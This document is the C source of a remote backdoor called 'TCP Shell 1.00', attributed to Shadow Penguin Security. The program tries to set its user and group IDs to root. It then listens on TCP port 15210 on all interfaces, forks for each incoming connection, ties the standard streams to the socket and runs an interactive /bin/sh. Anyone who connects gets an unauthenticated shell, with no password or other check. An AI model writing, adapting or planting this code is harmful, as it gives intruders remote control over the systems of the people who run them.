/*=============================================================================
   TCP Shell Version 1.00
   The Shadow Penguin Security (https://shadowpenguin.backsection.net)
   Written by UNYUN (unewn4th@usa.net)
  =============================================================================
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define MAX_CLIENTS     5           /* Max client num    */
#define PORT_NUM        15210       /* Port              */

void    get_connection(socket_type, port, listener)
int     socket_type;
int     port;
int     *listener;
{
        struct sockaddr_in      address;
        struct sockaddr_in      acc;
        int                     listening_socket;
        int                     connected_socket = -1;
        int                     new_process;
        int                     reuse_addr = 1;
        int                     acclen=sizeof(acc);

        memset((char *) &address, 0, sizeof(address));
        address.sin_family = AF_INET;
        address.sin_port = htons(port);
        address.sin_addr.s_addr = htonl(INADDR_ANY);
        listening_socket = socket(AF_INET, socket_type, 0);
        if (listening_socket < 0) {
          perror("socket");
          exit(1);
        }
        if (listener != NULL) *listener = listening_socket;
        setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR,
                   (void *)&reuse_addr,sizeof(reuse_addr));
        if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0){
          perror("bind");
          close(listening_socket);
          exit(1);
        }
        if (socket_type == SOCK_STREAM){
          if (listen(listening_socket, MAX_CLIENTS)==-1){
            perror("listen");
            exit(1);
         }
        }
}
void    sock_puts(sockfd, str)
int     sockfd;
char    *str;
{
        char    x[2000],*buf;
        size_t  bytes_sent = 0;
        int     this_write,count;

        sprintf(x,"\r%s",str);
        count=strlen(x);
        buf=x;
        while (bytes_sent < count) {
                do
                        this_write = write(sockfd, buf, count - bytes_sent);
                while ( (this_write < 0) && (errno == EINTR) );
                if (this_write <= 0) return;
                bytes_sent += this_write;
                buf += this_write;
        }
}
int     main(argc, argv)
int     argc;
char    *argv[];
{
        void            get_connection();
        void            sock_puts();
        int             i,sz;
        int             sock;
        static int      listensock = -1;
        struct sockaddr_in sad;

        setuid(0);
        setgid(0);

        for (;;){
          get_connection(SOCK_STREAM, PORT_NUM, &listensock);
          sz=sizeof(struct sockaddr_in);
          for (;;){
            if ((sock=accept(listensock,(void *)&sad,&sz))==-1){
                perror("Accept");
                exit(1);
            }
            if (fork()==0){
                sock_puts(sock,"The ShadowPenguin Systems Inc. TCP Shell 1.00 Developed by UNYUN.\n");
                for (i=0;i<3;i++){
                    close(i); dup2(sock,i);
                }
                execl("/bin/sh","sh","-i",0);
                close(sock);     
                break;
            }
          }
        }
}